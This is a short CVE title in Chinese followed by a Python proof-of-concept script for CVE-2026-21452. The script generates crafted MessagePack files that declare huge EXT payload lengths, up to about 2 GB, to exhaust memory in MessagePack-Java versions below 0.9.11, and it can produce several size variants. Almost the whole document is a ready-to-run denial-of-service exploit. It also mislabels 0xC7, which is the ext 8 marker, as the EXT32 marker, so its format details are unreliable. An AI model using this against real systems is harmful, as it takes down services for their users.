CVE-2026-21452: MessagePack Java EXT32反序列化无上限内存分配拒绝服务漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-21452: MessagePack Java EXT32 DoS Vulnerability This script generates a malicious .msgpack file that triggers unbounded heap allocation. MessagePack EXT32 format: 0xC7 - EXT32 marker (1 byte) 4 bytes - ext length (big-endian, attacker-controlled) 1 byte - ext type [ext data] - actual data (can be minimal) When deserialized by MessagePack-Java < 0.9.11: ExtensionValue.getData() calls ByteBuffer.allocate(extLength) without any upper bound check, causing OOM. """ import struct import sys def create_malicious_msgpack(output_file: str, declared_length: int = 0x7FFFFFFF): """ Generate a malicious .msgpack file with EXT32 object. Args: output_file: Path to write the malicious .msgpack file declared_length: The EXT payload length declared in the header (the actual memory that will be allocated) """ # EXT32 marker ext32_marker = 0xC7 # EXT32 length field (4 bytes, big-endian) # Using 0x7FFFFFFF (Integer.MAX_VALUE) to request ~2GB allocation ext_length_bytes = struct.pack('>I', declared_length & 0xFFFFFFFF) # Extension type (arbitrary, e.g., 0x01) ext_type = 0x01 # Actual extension data (minimal, only 1 byte needed for valid format) ext_data = b'\x00' # Construct the malicious .msgpack file malicious_data = bytes([ext32_marker]) + ext_length_bytes + bytes([ext_type]) + ext_data with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Created malicious .msgpack file: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print(f"[+] Declared EXT length: {declared_length} (0x{declared_length:08X})") print(f"[+] Expected memory allocation: ~{declared_length / (1024**3):.2f} GB") print(f"\n[!] When deserialized by MessagePack-Java < 0.9.11, this will trigger:") print(f" ByteBuffer.allocate({declared_length})") print(f" Result: OutOfMemoryError -> Denial of Service") def create_multiple_exploits(): """Generate multiple PoC variants with different declared lengths.""" test_cases = [ ('poc_cve_2026_21452_2gb.msgpack', 0x7FFFFFFF, '2GB allocation attempt'), ('poc_cve_2026_21452_1gb.msgpack', 0x40000000, '1GB allocation attempt'), ('poc_cve_2026_21452_512mb.msgpack', 0x20000000, '512MB allocation attempt'), ('poc_cve_2026_21452_256mb.msgpack', 0x10000000, '256MB allocation attempt'), ] for filename, length, description in test_cases: create_malicious_msgpack(filename, length) print(f" -> {description}") print() if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == '--all': create_multiple_exploits() else: output = sys.argv[1] if len(sys.argv) > 1 else 'poc_cve_2026_21452.msgpack' create_malicious_msgpack(output) print("\nUsage:") print(" python3 poc_cve_2026_21452.py # Default 2GB exploit") print(" python3 poc_cve_2026_21452.py output.msgpack # Custom filename") print(" python3 poc_cve_2026_21452.py --all # Generate multiple variants")